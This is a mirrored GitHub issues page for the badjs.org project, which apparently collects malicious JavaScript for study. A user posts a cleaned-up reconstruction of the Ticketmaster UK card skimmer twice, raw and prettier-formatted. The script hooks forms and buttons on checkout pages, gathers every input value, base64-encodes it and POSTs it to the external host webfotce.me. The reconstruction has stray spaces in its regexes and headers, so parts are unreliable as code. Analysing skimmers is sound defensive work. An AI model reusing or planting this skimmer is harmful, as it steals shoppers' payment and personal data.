GithubHelp home page GithubHelp logo

badjs.org's People

Contributors

jsoverson avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Forkers

tiamat-tech

badjs.org's Issues

ticketmaster code isn't valid

I have no source of what the original code was, but this is more likely it, since i removed some syntax errors:

var skimmer = {
  snd: null,
  gate: "https://webfotce.me/js/form.js",
    myid: (function(cname) {
      var cd = document.cookie.match(new RegExp("( ? : ^ | ;)" + cname.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\$1") + " = ([ ^ ;] * )"));
      return cd ? decodeURIComponent(cd[1]) : undefined
    })("setidd") || (function() {
      var d = new Date();
      var time_id = d.getTime() + " -" +Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
      var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
      document.cookie = "setidd = "+time_id + "";
      path = "/";
      expires="" + exp.toUTCString();
      return time_id
    })(),
  clk: function() {
    skimmer.snd = null;
    var inp = document.querySelectorAll("input, select, textarea, checkbox, button");
    for (var i = 0; i < inp.length; i++) {
      if (inp[i].value.length > 0) {
        var nme = inp[i].name;
        if (nme == "") {
          nme = i
        };
        skimmer.snd += inp[i].name + " = "+inp[i].value + " & "
      }
    }
  },
  send: function() {
    try {
      var btn = document.querySelectorAll("a[href *= \"javascript: void(0)\"], button, input, submit, .btn, .button");
      for (var i = 0; i < btn.length; i++) {
        var b = btn[i];
        if (b.type != "text" && b.type != "select" && b.type != "checkbox" && b.type != "password" && b.type != "radio") {
          if (b.addEventListener) {
            b.addEventListener("click", skimmer.clk, false)
          } else {
            b.attachEvent("onclick", skimmer.clk)
          }
        }
      };
      var frm = document.querySelectorAll("form");
      for (var i = 0; i < frm.length; i++) {
        if (frm[i].addEventListener) {
          frm[i].addEventListener("submit", skimmer.clk, false)
        } else {
          frm[i].attachEvent("onsubmit", skimmer.clk)
        }
      };
      if (skimmer.snd != null) {
        var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
        var enc_info = btoa(skimmer.snd);
        var http = new XMLHttpRequest();
        http.open("POST", skimmer.gate, true);
        http.setRequestHeader("Content - type", "application / x - www - form - urlencoded");
        http.send("info = "+enc_info + " & hostname = ticketmUK & key = "+skimmer.myid)
      };
      skimmer.snd = null;
      enc_info = null;
      setTimeout(function() {
        skimmer.send()
      }, 30)
    } catch (e) {}
  }
};
if ((new RegExp("order | checkout | onestep", "gi")).test(window.location)) {
  skimmer.send()
}

I also ran it through prettier to make it more readable:

var skimmer = {
  snd: null,
  gate: "https://webfotce.me/js/form.js",
  myid:
    (function(cname) {
      var cd = document.cookie.match(
        new RegExp(
          "( ? : ^ | ;)" +
            cname.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "$1") +
            " = ([ ^ ;] * )"
        )
      );
      return cd ? decodeURIComponent(cd[1]) : undefined;
    })("setidd") ||
    (function() {
      var d = new Date();
      var time_id =
        d.getTime() +
        " -" +
        Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
      var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
      document.cookie = "setidd = " + time_id + "";
      path = "/";
      expires = "" + exp.toUTCString();
      return time_id;
    })(),
  clk: function() {
    skimmer.snd = null;
    var inp = document.querySelectorAll(
      "input, select, textarea, checkbox, button"
    );
    for (var i = 0; i < inp.length; i++) {
      if (inp[i].value.length > 0) {
        var nme = inp[i].name;
        if (nme == "") {
          nme = i;
        }
        skimmer.snd += inp[i].name + " = " + inp[i].value + " & ";
      }
    }
  },
  send: function() {
    try {
      var btn = document.querySelectorAll(
        'a[href *= "javascript: void(0)"], button, input, submit, .btn, .button'
      );
      for (var i = 0; i < btn.length; i++) {
        var b = btn[i];
        if (
          b.type != "text" &&
          b.type != "select" &&
          b.type != "checkbox" &&
          b.type != "password" &&
          b.type != "radio"
        ) {
          if (b.addEventListener) {
            b.addEventListener("click", skimmer.clk, false);
          } else {
            b.attachEvent("onclick", skimmer.clk);
          }
        }
      }
      var frm = document.querySelectorAll("form");
      for (var i = 0; i < frm.length; i++) {
        if (frm[i].addEventListener) {
          frm[i].addEventListener("submit", skimmer.clk, false);
        } else {
          frm[i].attachEvent("onsubmit", skimmer.clk);
        }
      }
      if (skimmer.snd != null) {
        var hostname =
          location.hostname
            .split(".")
            .slice(0)
            .join("_") || "nodomain";
        var enc_info = btoa(skimmer.snd);
        var http = new XMLHttpRequest();
        http.open("POST", skimmer.gate, true);
        http.setRequestHeader(
          "Content - type",
          "application / x - www - form - urlencoded"
        );
        http.send(
          "info = " +
            enc_info +
            " & hostname = ticketmUK & key = " +
            skimmer.myid
        );
      }
      skimmer.snd = null;
      enc_info = null;
      setTimeout(function() {
        skimmer.send();
      }, 30);
    } catch (e) {}
  }
};
if (new RegExp("order | checkout | onestep", "gi").test(window.location)) {
  skimmer.send();
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.